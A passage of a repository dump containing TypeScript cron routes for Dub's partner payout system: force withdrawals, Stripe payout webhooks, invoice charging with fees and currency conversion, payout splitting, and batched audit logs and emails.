url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/charge-succeeded`,\n    delay: delaySeconds,\n    flowControl: {\n      key: invoice.id,\n      rate: 1,\n    },\n    body: {\n      invoiceId: invoice.id,\n    },\n  });\n\n  if (qstashResponse.messageId) {\n    const scheduledAt = new Date(scheduleTimeMs);\n\n    console.log(\n      `Scheduled delayed stablecoin payout for invoice ${invoice.id} at ${scheduledAt.toISOString()}.`,\n      {\n        qstashResponse,\n      },\n    );\n  } else {\n    throw new Error(\n      `Failed to schedule delayed stablecoin payout for invoice ${invoice.id}`,\n    );\n  }\n\n  return {\n    nextAction: \"skip\",\n  };\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/force-withdrawals/route.ts",
    "content": "import { forceWithdrawal } from \"@/lib/actions/partners/force-withdrawal\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS } from \"@/lib/constants/payouts\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK, log } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst BATCH_SIZE = 20;\n\nconst schema = z.object({\n  startingAfter: z.string().optional(),\n});\n\n// This route is used to force withdrawals for partners that haven't withdrew their earnings for than 90 days\n// Runs once a day at 5AM PST (0 12 * * *) + calls itself recursively to process all partners in batches\nasync function handler(req: Request) {\n  try {\n    let rawBody: string | undefined;\n    if (req.method === \"GET\") {\n      await verifyVercelSignature(req);\n    } else if (req.method === \"POST\") {\n      rawBody = await req.text();\n      await verifyQstashSignature({\n        req,\n        rawBody,\n      });\n    }\n\n    let startingAfter: string | undefined;\n    try {\n      startingAfter = schema.parse(\n        rawBody ? JSON.parse(rawBody) : {},\n      ).startingAfter;\n    } catch {\n      startingAfter = undefined;\n    }\n\n    // Get batch of partners with processed payouts (cursor-based pagination)\n    const partnersToProcess = await prisma.partner.findMany({\n      where: {\n        payoutsEnabledAt: {\n          not: null,\n        },\n        defaultPayoutMethod: {\n          in: [\"stablecoin\", \"connect\"],\n        },\n        payouts: {\n          some: {\n            status: \"processed\",\n            amount: {\n              gte: MIN_FORCE_WITHDRAWAL_AMOUNT_CENTS,\n            },\n            paidAt: {\n              lte: new Date(Date.now() - 90 * 24 * 60 * 60 * 1000), // 90 days ago\n            },\n          },\n        },\n      },\n      take: BATCH_SIZE,\n      orderBy: {\n        id: \"asc\",\n      },\n      ...(startingAfter && {\n        skip: 1,\n        cursor: {\n          id: startingAfter,\n        },\n      }),\n      select: {\n        id: true,\n        defaultPayoutMethod: true,\n      },\n    });\n\n    if (!partnersToProcess.length) {\n      return logAndRespond(\n        \"No partners to process. Skipping force withdrawals...\",\n      );\n    }\n\n    const hasMoreToProcess = partnersToProcess.length === BATCH_SIZE;\n\n    console.log(\n      `Found ${partnersToProcess.length} partners to process${hasMoreToProcess ? \" (more to process)\" : \"\"}`,\n    );\n\n    await Promise.allSettled(\n      partnersToProcess.map((partner) => forceWithdrawal(partner)),\n    );\n\n    if (hasMoreToProcess) {\n      console.log(\n        \"More partners need force withdrawals, scheduling next batch...\",\n      );\n\n      const nextStartingAfter =\n        partnersToProcess[partnersToProcess.length - 1].id;\n\n      const qstashResponse = await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/force-withdrawals`,\n        method: \"POST\",\n        body: {\n          startingAfter: nextStartingAfter,\n        },\n      });\n      if (qstashResponse.messageId) {\n        console.log(\n          `Message sent to Qstash with id ${qstashResponse.messageId}`,\n        );\n      } else {\n        await log({\n          message: `Error sending message to Qstash to schedule next batch of force withdrawals: ${JSON.stringify(qstashResponse)}`,\n          type: \"errors\",\n          mention: true,\n        });\n      }\n      return logAndRespond(\n        `Finished force withdrawals for current batch. Scheduling next batch (startingAfter: ${nextStartingAfter})...`,\n      );\n    }\n\n    return logAndRespond(\"Finished force withdrawals for all batches.\");\n  } catch (error) {\n    await log({\n      message: `Error force withdrawing: ${error.message}`,\n      type: \"errors\",\n      mention: true,\n    });\n    return handleAndReturnErrorResponse(error);\n  }\n}\n\n// GET/POST /api/cron/payouts/force-withdrawals\nexport { handler as GET, handler as POST };\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/payout-failed/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { getPartnerBankAccount } from \"@/lib/partners/get-partner-bank-account\";\nimport { sendEmail } from \"@dub/email\";\nimport PartnerPayoutWithdrawalFailed from \"@dub/email/templates/partner-payout-withdrawal-failed\";\nimport { prisma } from \"@dub/prisma\";\nimport { log, pluralize, prettyPrint } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nconst payloadSchema = z.object({\n  stripeAccount: z.string(),\n  stripePayout: z.object({\n    id: z.string(),\n    amount: z.number(),\n    currency: z.string(),\n    failureMessage: z.string().nullable(),\n  }),\n});\n\n// POST /api/cron/payouts/payout-failed\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { stripeAccount, stripePayout } = payloadSchema.parse(\n      JSON.parse(rawBody),\n    );\n\n    const partner = await prisma.partner.findUnique({\n      where: {\n        stripeConnectId: stripeAccount,\n      },\n      select: {\n        email: true,\n      },\n    });\n\n    if (!partner) {\n      return logAndRespond(\n        `Partner not found with Stripe connect account ${stripeAccount}. Skipping...`,\n      );\n    }\n\n    const updatedPayouts = await prisma.payout.updateMany({\n      where: {\n        stripePayoutId: stripePayout.id,\n      },\n      data: {\n        status: \"failed\",\n        failureReason: stripePayout.failureMessage,\n      },\n    });\n\n    if (partner.email) {\n      const bankAccount = await getPartnerBankAccount(stripeAccount);\n\n      const sentEmail = await sendEmail({\n        variant: \"notifications\",\n        subject:\n          \"[Action Required]: Your recent auto-withdrawal from Dub failed\",\n        to: partner.email,\n        react: PartnerPayoutWithdrawalFailed({\n          email: partner.email,\n          bankAccount,\n          payout: {\n            amount: stripePayout.amount,\n            currency: stripePayout.currency,\n            failureReason: stripePayout.failureMessage,\n          },\n        }),\n      });\n\n      console.log(\n        `Sent email to partner ${partner.email} (${stripeAccount}): ${prettyPrint(sentEmail)}`,\n      );\n    }\n\n    return logAndRespond(\n      `Updated ${updatedPayouts.count} ${pluralize(\"payout\", updatedPayouts.count)} for partner ${partner.email} (${stripeAccount}) to \"failed\" status.`,\n    );\n  } catch (error) {\n    await log({\n      message: `Error handling \"payout.failed\" ${error.message}.`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/payout-paid/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { sendEmail } from \"@dub/email\";\nimport PartnerPayoutWithdrawalCompleted from \"@dub/email/templates/partner-payout-withdrawal-completed\";\nimport { prisma } from \"@dub/prisma\";\nimport { currencyFormatter, log, pluralize, prettyPrint } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nconst payloadSchema = z.object({\n  stripeAccount: z.string(),\n  stripePayout: z.object({\n    id: z.string(),\n    traceId: z.string().nullable(),\n    amount: z.number(),\n    currency: z.string(),\n    arrivalDate: z.number(),\n  }),\n});\n\n// POST /api/cron/payouts/payout-paid\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { stripeAccount, stripePayout } = payloadSchema.parse(\n      JSON.parse(rawBody),\n    );\n\n    const partner = await prisma.partner.findUnique({\n      where: {\n        stripeConnectId: stripeAccount,\n      },\n      select: {\n        email: true,\n      },\n    });\n\n    if (!partner) {\n      return logAndRespond(\n        `Partner not found with Stripe connect account ${stripeAccount}. Skipping...`,\n      );\n    }\n\n    const updatedPayouts = await prisma.payout.updateMany({\n      where: {\n        stripePayoutId: stripePayout.id,\n      },\n      data: {\n        status: \"completed\",\n        stripePayoutTraceId: stripePayout.traceId,\n      },\n    });\n\n    if (partner.email) {\n      const sentEmail = await sendEmail({\n        variant: \"notifications\",\n        subject: `Your ${currencyFormatter(stripePayout.amount, { currency: stripePayout.currency })} auto-withdrawal from Dub has been transferred to your bank`,\n        to: partner.email,\n        react: PartnerPayoutWithdrawalCompleted({\n          email: partner.email,\n          payout: {\n            amount: stripePayout.amount,\n            currency: stripePayout.currency,\n            arrivalDate: stripePayout.arrivalDate,\n            traceId: stripePayout.traceId,\n          },\n        }),\n      });\n\n      console.log(\n        `Sent email to partner ${partner.email} (${stripeAccount}): ${prettyPrint(sentEmail)}`,\n      );\n    }\n\n    return logAndRespond(\n      `Updated ${updatedPayouts.count} ${pluralize(\"payout\", updatedPayouts.count)} for partner ${partner.email} (${stripeAccount}) to \"completed\" status.`,\n    );\n  } catch (error) {\n    await log({\n      message: `Error handling \"payout.paid\" ${error.message}.`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/process/process-payouts.ts",
    "content": "import { getPayoutEligibilityFilter } from \"@/lib/api/payouts/payout-eligibility-filter\";\nimport { FAST_ACH_FEE_CENTS, FOREX_MARKUP_RATE } from \"@/lib/constants/payouts\";\nimport { qstash } from \"@/lib/cron\";\nimport { calculatePayoutFeeWithWaiver } from \"@/lib/partners/calculate-payout-fee-with-waiver\";\nimport {\n  CUTOFF_PERIOD,\n  CUTOFF_PERIOD_TYPES,\n} from \"@/lib/partners/cutoff-period\";\nimport { stripe } from \"@/lib/stripe\";\nimport { createFxQuote } from \"@/lib/stripe/create-fx-quote\";\nimport { calculatePayoutFeeForMethod } from \"@/lib/stripe/payment-methods\";\nimport { sendEmail } from \"@dub/email\";\nimport ProgramPayoutThankYou from \"@dub/email/templates/program-payout-thank-you\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  Invoice,\n  Program,\n  ProgramPayoutMode,\n  Project,\n} from \"@dub/prisma/client\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  currencyFormatter,\n  log,\n  nFormatter,\n  pluralize,\n} from \"@dub/utils\";\n\nconst nonUsdPaymentMethodTypes = {\n  sepa_debit: \"eur\",\n  acss_debit: \"cad\",\n} as const;\n\ninterface ProcessPayoutsProps {\n  workspace: Pick<\n    Project,\n    | \"id\"\n    | \"slug\"\n    | \"stripeId\"\n    | \"plan\"\n    | \"invoicePrefix\"\n    | \"payoutsUsage\"\n    | \"payoutsLimit\"\n    | \"payoutFee\"\n    | \"payoutFeeWaiverLimit\"\n    | \"payoutFeeWaiverUsage\"\n    | \"webhookEnabled\"\n  >;\n  program: Pick<\n    Program,\n    \"id\" | \"name\" | \"logo\" | \"url\" | \"minPayoutAmount\" | \"supportEmail\"\n  > & {\n    payoutMode: ProgramPayoutMode;\n  };\n  invoice: Pick<Invoice, \"id\" | \"paymentMethod\">;\n  userId: string;\n  paymentMethodId: string;\n  cutoffPeriod?: CUTOFF_PERIOD_TYPES;\n  selectedPayoutId?: string;\n  excludedPayoutIds?: string[];\n}\n\nexport async function processPayouts({\n  workspace,\n  program,\n  invoice,\n  userId,\n  paymentMethodId,\n  cutoffPeriod,\n  selectedPayoutId,\n  excludedPayoutIds,\n}: ProcessPayoutsProps) {\n  const cutoffPeriodValue = CUTOFF_PERIOD.find(\n    (c) => c.id === cutoffPeriod,\n  )?.value;\n\n  const res = await prisma.payout.updateMany({\n    where: {\n      ...(selectedPayoutId\n        ? { id: selectedPayoutId }\n        : excludedPayoutIds && excludedPayoutIds.length > 0\n          ? { id: { notIn: excludedPayoutIds } }\n          : {}),\n      ...getPayoutEligibilityFilter({ program, workspace }),\n      ...(cutoffPeriodValue && {\n        periodEnd: {\n          lte: cutoffPeriodValue,\n        },\n      }),\n    },\n    data: {\n      invoiceId: invoice.id,\n      status: \"processing\",\n      userId,\n      initiatedAt: new Date(),\n      // if the program is in external mode, set the mode to external\n      // otherwise set it to internal (we'll update specific payouts to \"external\" later if it's hybrid mode)\n      mode: program.payoutMode === \"external\" ? \"external\" : \"internal\",\n    },\n  });\n\n  if (res.count === 0) {\n    console.log(\n      `No payouts updated/found for invoice ${invoice.id}. Skipping...`,\n    );\n    return;\n  }\n\n  console.log(\n    `Updated ${res.count} payouts to invoice ${invoice.id} and \"processing\" status`,\n  );\n\n  // if hybrid mode, we need to update payouts for partners with payoutsEnabledAt = null to external mode\n  // here we don't need to filter if they have tenantId cause getPayoutEligibilityFilter above already takes care of that\n  if (program.payoutMode === \"hybrid\") {\n    await prisma.payout.updateMany({\n      where: {\n        invoiceId: invoice.id,\n        partner: {\n          payoutsEnabledAt: null,\n        },\n      },\n      data: {\n        mode: \"external\",\n      },\n    });\n  }\n\n  const payoutsByMode = await prisma.payout.groupBy({\n    by: [\"mode\"],\n    where: {\n      invoiceId: invoice.id,\n    },\n    _sum: {\n      amount: true,\n    },\n  });\n\n  const totalInternalPayoutAmount =\n    payoutsByMode.find((p) => p.mode === \"internal\")?._sum.amount ?? 0;\n  const totalExternalPayoutAmount =\n    payoutsByMode.find((p) => p.mode === \"external\")?._sum.amount ?? 0;\n  const totalPayoutAmount =\n    totalInternalPayoutAmount + totalExternalPayoutAmount;\n\n  const paymentMethod = await stripe.paymentMethods.retrieve(paymentMethodId);\n\n  const payoutFee = calculatePayoutFeeForMethod({\n    paymentMethod: paymentMethod.type,\n    payoutFee: workspace.payoutFee,\n  });\n\n  if (!payoutFee) {\n    throw new Error(\"Failed to calculate payout fee.\");\n  }\n\n  console.info(\n    `Using payout fee of ${payoutFee} for payment method ${paymentMethod.type}`,\n  );\n\n  const {\n    fee: invoiceFee,\n    feeFreeAmount,\n    feeChargedAmount,\n    feeWaiverRemaining,\n  } = calculatePayoutFeeWithWaiver({\n    payoutAmount: totalPayoutAmount,\n    payoutFee,\n    payoutFeeWaiverLimit: workspace.payoutFeeWaiverLimit,\n    payoutFeeWaiverUsage: workspace.payoutFeeWaiverUsage,\n    fastAchFee: invoice.paymentMethod === \"ach_fast\" ? FAST_ACH_FEE_CENTS : 0,\n  });\n\n  const invoiceTotal = totalPayoutAmount + invoiceFee;\n\n  console.log({\n    totalInternalPayoutAmount,\n    totalExternalPayoutAmount,\n    totalPayoutAmount,\n    invoiceFee,\n    invoiceTotal,\n    feeFreeAmount,\n    feeChargedAmount,\n    feeWaiverRemaining,\n  });\n\n  await prisma.invoice.update({\n    where: {\n      id: invoice.id,\n    },\n    data: {\n      amount: totalPayoutAmount,\n      externalAmount: totalExternalPayoutAmount,\n      fee: invoiceFee,\n      total: invoiceTotal,\n    },\n  });\n\n  let totalToCharge = invoiceTotal - totalExternalPayoutAmount;\n  const currency = nonUsdPaymentMethodTypes[paymentMethod.type] || \"usd\";\n\n  // convert the amount to EUR/CAD if the payment method is sepa_debit or acss_debit\n  if (Object.keys(nonUsdPaymentMethodTypes).includes(paymentMethod.type)) {\n    const fxQuote = await createFxQuote({\n      fromCurrency: currency,\n      toCurrency: \"usd\",\n    });\n\n    const exchangeRate = fxQuote.rates[currency].exchange_rate;\n\n    // if Stripe's FX rate is not available, throw an error\n    if (!exchangeRate || exchangeRate <= 0) {\n      throw new Error(\n        `Failed to get exchange rate from Stripe for ${currency}.`,\n      );\n    }\n\n    const convertedTotal = Math.round(\n      (totalToCharge / exchangeRate) * (1 + FOREX_MARKUP_RATE),\n    );\n\n    console.log(\n      `Currency conversion: ${totalToCharge} usd -> ${convertedTotal} ${currency} using exchange rate ${exchangeRate}.`,\n    );\n\n    totalToCharge = convertedTotal;\n  }\n\n  await stripe.paymentIntents.create(\n    {\n      amount: totalToCharge,\n      customer: workspace.stripeId!,\n      payment_method_types: [paymentMethod.type],\n      payment_method: paymentMethod.id,\n      ...(paymentMethod.type === \"us_bank_account\" && {\n        payment_method_options: {\n          us_bank_account: {\n            preferred_settlement_speed:\n              invoice.paymentMethod === \"ach_fast\" ? \"fastest\" : \"standard\",\n          },\n        },\n      }),\n      currency,\n      confirmation_method: \"automatic\",\n      confirm: true,\n      transfer_group: invoice.id,\n      ...(paymentMethod.type === \"card\"\n        ? { statement_descriptor_suffix: \"Dub Partners\" }\n        : { statement_descriptor: \"Dub Partners\" }),\n      description: `Dub Partners payout invoice (${invoice.id})`,\n    },\n    {\n      idempotencyKey: `process-payout-invoice/${invoice.id}`,\n    },\n  );\n\n  const { users } = await prisma.project.update({\n    where: {\n      id: workspace.id,\n    },\n    data: {\n      payoutsUsage: {\n        increment: totalPayoutAmount,\n      },\n      payoutFeeWaiverUsage: {\n        increment: feeFreeAmount,\n      },\n    },\n    include: {\n      users: {\n        where: {\n          userId,\n        },\n        select: {\n          user: {\n            select: {\n              email: true,\n            },\n          },\n        },\n      },\n    },\n  });\n\n  await log({\n    message: `<${program.url}|*${program.name}*> (\\`${workspace.slug}\\`) just sent a payout of *${currencyFormatter(totalPayoutAmount)}* :money_with_wings: \\n\\n Fees earned: *${currencyFormatter(invoiceFee)} (${payoutFee * 100}%)* :money_mouth_face:`,\n    type: \"payouts\",\n  });\n\n  const qstashResponse = await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/process/updates`,\n    body: {\n      invoiceId: invoice.id,\n    },\n  });\n\n  if (qstashResponse.messageId) {\n    console.log(`Message sent to Qstash with id ${qstashResponse.messageId}`);\n  } else {\n    console.error(\"Error sending message to Qstash\", qstashResponse);\n  }\n\n  // should never happen, but just in case\n  if (users.length === 0) {\n    console.error(\n      `No users found for workspace ${workspace.id}. Skipping email send...`,\n    );\n    return;\n  }\n\n  const userWhoInitiatedPayout = users[0].user;\n  if (userWhoInitiatedPayout.email) {\n    const emailRes = await sendEmail({\n      to: userWhoInitiatedPayout.email,\n      subject: `Thank you for your ${currencyFormatter(totalPayoutAmount)} payout to ${nFormatter(res.count, { full: true })} ${pluralize(\"partner\", res.count)}`,\n      react: ProgramPayoutThankYou({\n        email: userWhoInitiatedPayout.email,\n        workspace,\n        program: {\n          name: program.name,\n        },\n        payout: {\n          amount: totalPayoutAmount,\n          partnersCount: res.count,\n        },\n      }),\n    });\n    console.log(\n      `Sent email to user ${userWhoInitiatedPayout.email}: ${JSON.stringify(emailRes, null, 2)}`,\n    );\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/process/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { CUTOFF_PERIOD_ENUM } from \"@/lib/partners/cutoff-period\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nimport { processPayouts } from \"./process-payouts\";\nimport { splitPayouts } from \"./split-payouts\";\n\nexport const dynamic = \"force-dynamic\";\nexport const maxDuration = 600; // This function can run for a maximum of 10 minutes\n\nconst processPayoutsCronSchema = z.object({\n  workspaceId: z.string(),\n  userId: z.string(),\n  invoiceId: z.string(),\n  paymentMethodId: z.string(),\n  cutoffPeriod: CUTOFF_PERIOD_ENUM,\n  selectedPayoutId: z.string().optional(),\n  excludedPayoutIds: z.array(z.string()).optional(),\n});\n\n// POST /api/cron/payouts/process\n// This route is used to process payouts for a given invoice\n// we're intentionally offloading this to a cron job to avoid blocking the main thread\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({ req, rawBody });\n\n    const {\n      workspaceId,\n      userId,\n      invoiceId,\n      paymentMethodId,\n      cutoffPeriod,\n      selectedPayoutId,\n      excludedPayoutIds,\n    } = processPayoutsCronSchema.parse(JSON.parse(rawBody));\n\n    const workspace = await prisma.project.findUniqueOrThrow({\n      where: {\n        id: workspaceId,\n      },\n      include: {\n        programs: true,\n        invoices: {\n          where: {\n            id: invoiceId,\n          },\n        },\n      },\n    });\n\n    // should never happen, but just in case\n    if (workspace.programs.length === 0) {\n      return logAndRespond(\n        `Workspace ${workspaceId} has no programs. Skipping...`,\n      );\n    }\n\n    const program = workspace.programs[0];\n\n    // should never happen, but just in case\n    if (workspace.invoices.length === 0) {\n      return logAndRespond(\n        `Invoice ${invoiceId} not found for workspace ${workspaceId}. Skipping...`,\n      );\n    }\n\n    const invoice = workspace.invoices[0];\n\n    // avoid race condition where Stripe's charge.failed webhook is processed before this cron job\n    if (invoice.status === \"failed\") {\n      return logAndRespond(\n        `Invoice ${invoiceId} has already been marked as failed. Skipping...`,\n      );\n    }\n\n    if (cutoffPeriod) {\n      await splitPayouts({\n        program,\n        workspace,\n        cutoffPeriod,\n        selectedPayoutId,\n        excludedPayoutIds,\n      });\n    }\n\n    await processPayouts({\n      program,\n      workspace,\n      invoice,\n      userId,\n      paymentMethodId,\n      cutoffPeriod,\n      selectedPayoutId,\n      excludedPayoutIds,\n    });\n\n    return logAndRespond(`Processed payouts for program ${program.name}.`);\n  } catch (error) {\n    await log({\n      message: `Error confirming payouts for program: ${error.message}`,\n      type: \"errors\",\n      mention: true,\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/process/split-payouts.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { getPayoutEligibilityFilter } from \"@/lib/api/payouts/payout-eligibility-filter\";\nimport {\n  CUTOFF_PERIOD,\n  CUTOFF_PERIOD_TYPES,\n} from \"@/lib/partners/cutoff-period\";\nimport { prisma } from \"@dub/prisma\";\nimport { Program, Project } from \"@dub/prisma/client\";\nimport { endOfMonth } from \"date-fns\";\n\nexport async function splitPayouts({\n  program,\n  workspace,\n  cutoffPeriod,\n  selectedPayoutId,\n  excludedPayoutIds,\n}: {\n  program: Pick<Program, \"id\" | \"name\" | \"minPayoutAmount\" | \"payoutMode\">;\n  workspace: Pick<Project, \"plan\">;\n  cutoffPeriod: CUTOFF_PERIOD_TYPES;\n  selectedPayoutId?: string;\n  excludedPayoutIds?: string[];\n}) {\n  const payouts = await prisma.payout.findMany({\n    where: {\n      ...(selectedPayoutId\n        ? { id: selectedPayoutId }\n        : excludedPayoutIds && excludedPayoutIds.length > 0\n          ? { id: { notIn: excludedPayoutIds } }\n          : {}),\n      ...getPayoutEligibilityFilter({ program, workspace }),\n    },\n    include: {\n      commissions: true,\n    },\n  });\n\n  if (payouts.length === 0) {\n    return;\n  }\n\n  const cutoffPeriodValue = CUTOFF_PERIOD.find(\n    (c) => c.id === cutoffPeriod,\n  )!.value;\n\n  for (const payout of payouts) {\n    const previousCommissions = payout.commissions\n      .filter((commission) => {\n        return commission.createdAt < cutoffPeriodValue;\n      })\n      .sort((a, b) => {\n        return a.createdAt.getTime() - b.createdAt.getTime();\n      });\n\n    const currentCommissions = payout.commissions\n      .filter((commission) => {\n        return commission.createdAt >= cutoffPeriodValue;\n      })\n      .sort((a, b) => {\n        return a.createdAt.getTime() - b.createdAt.getTime();\n      });\n\n    const previousCommissionsCount = previousCommissions.length;\n    const currentCommissionsCount = currentCommissions.length;\n\n    // If there are previous commissions, we need to split the payout into two\n    // 1 - one for everything up until the end of the previous month\n    // 2 - everything else in the current month will be left as pending (and excluded from the payout)\n    if (previousCommissionsCount > 0) {\n      await prisma.payout.update({\n        where: {\n          id: payout.id,\n        },\n        data: {\n          periodEnd: endOfMonth(\n            previousCommissions[previousCommissionsCount - 1].createdAt,\n          ),\n          amount: previousCommissions.reduce(\n            (total, commission) => total + commission.earnings,\n            0,\n          ),\n        },\n      });\n\n      if (currentCommissionsCount > 0) {\n        const currentMonthPayout = await prisma.payout.create({\n          data: {\n            id: createId({ prefix: \"po_\" }),\n            programId: program.id,\n            partnerId: payout.partnerId,\n            periodStart: currentCommissions[0].createdAt,\n            periodEnd:\n              currentCommissions[currentCommissions.length - 1].createdAt,\n            amount: currentCommissions.reduce(\n              (total, commission) => total + commission.earnings,\n              0,\n            ),\n            description: `Dub Partners payout (${program.name})`,\n          },\n        });\n\n        await prisma.commission.updateMany({\n          where: {\n            id: {\n              in: currentCommissions.map((commission) => commission.id),\n            },\n          },\n          data: {\n            payoutId: currentMonthPayout.id,\n          },\n        });\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/process/updates/route.ts",
    "content": "import { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport PartnerPayoutConfirmed from \"@dub/email/templates/partner-payout-confirmed\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK, currencyFormatter, log } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst payloadSchema = z.object({\n  invoiceId: z.string(),\n  startingAfter: z.string().optional(),\n});\n\nconst BATCH_SIZE = 100;\n\n// POST /api/cron/payouts/process/updates\n// Recursive cron job to handle side effects of the `cron/payouts/process` job (recordAuditLog, sendBatchEmails)\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const { invoiceId, startingAfter } = payloadSchema.parse(\n      JSON.parse(rawBody),\n    );\n\n    const payouts = await prisma.payout.findMany({\n      where: {\n        invoiceId,\n      },\n      include: {\n        program: true,\n        partner: true,\n        invoice: true,\n      },\n      take: BATCH_SIZE,\n      skip: startingAfter ? 1 : 0,\n      ...(startingAfter && {\n        cursor: {\n          id: startingAfter,\n        },\n      }),\n      orderBy: {\n        id: \"asc\",\n      },\n    });\n\n    if (payouts.length === 0) {\n      return logAndRespond(\n        `No more payouts to process for invoice ${invoiceId}. Skipping...`,\n      );\n    }\n\n    const auditLogResponse = await recordAuditLog(\n      payouts.map(({ program, partner, invoice, ...payout }) => {\n        return {\n          workspaceId: program.workspaceId,\n          programId: program.id,\n          action: \"payout.confirmed\",\n          description: `Payout ${payout.id} confirmed`,\n          actor: {\n            id: payout.userId ?? \"system\",\n          },\n          targets: [\n            {\n              type: \"payout\",\n              id: payout.id,\n              metadata: payout,\n            },\n          ],\n        };\n      }),\n    );\n    console.log(JSON.stringify({ auditLogResponse }, null, 2));\n\n    const invoice = payouts[0].invoice;\n    const internalPayouts = payouts.filter(\n      (payout) => payout.mode === \"internal\",\n    );\n    if (\n      invoice &&\n      invoice.paymentMethod !== \"card\" &&\n      internalPayouts.length > 0\n    ) {\n      const batchEmailResponse = await sendBatchEmail(\n        internalPayouts.map((payout) => ({\n          to: payout.partner.email!,\n          subject: `Your ${currencyFormatter(payout.amount)} payout for ${payout.program.name} is on the way`,\n          variant: \"notifications\",\n          replyTo: payout.program.supportEmail || \"noreply\",\n          react: PartnerPayoutConfirmed({\n            email: payout.partner.email!,\n            program: {\n              id: payout.program.id,\n              name: payout.program.name,\n              logo: payout.program.logo,\n            },\n            payout: {\n              id: payout.id,\n              amount: payout.amount,\n              initiatedAt: payout.initiatedAt,\n              startDate: payout.periodStart,\n              endDate: payout.periodEnd,\n              mode: payout.mode,\n              paymentMethod: invoice.paymentMethod ?? \"ach\",\n              payoutMethod: payout.partner.defaultPayoutMethod ?? null,\n            },\n          }),\n        })),\n      );\n      console.log(JSON.stringify({ batchEmailResponse }, null, 2));\n    }\n\n    if (payouts.length === BATCH_SIZE) {\n      const nextStartingAfter = payouts[payouts.length - 1].id;\n\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/process/updates`,\n        method: \"POST\",\n        body: {\n          invoiceId,\n          startingAfter: nextStartingAfter,\n        },\n      });\n\n      return logAndRespond(\n        `Enqueued next batch for invoice ${invoiceId} (startingAfter: ${nextStartingAfter}).`,\n      );\n    }\n\n    return logAndRespond(\n      `Finished processing updates for ${payouts.length} payouts for invoice ${invoiceId}`,\n    );\n  } catch (error) {\n    const errorMessage = error instanceof Error ? error.message : String(error);\n\n    await log({\n      message: `Error sending Stripe payout: ${errorMessage}`,\n      type: \"errors\",\n      mention: true,\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/reminders/partners/route.ts",
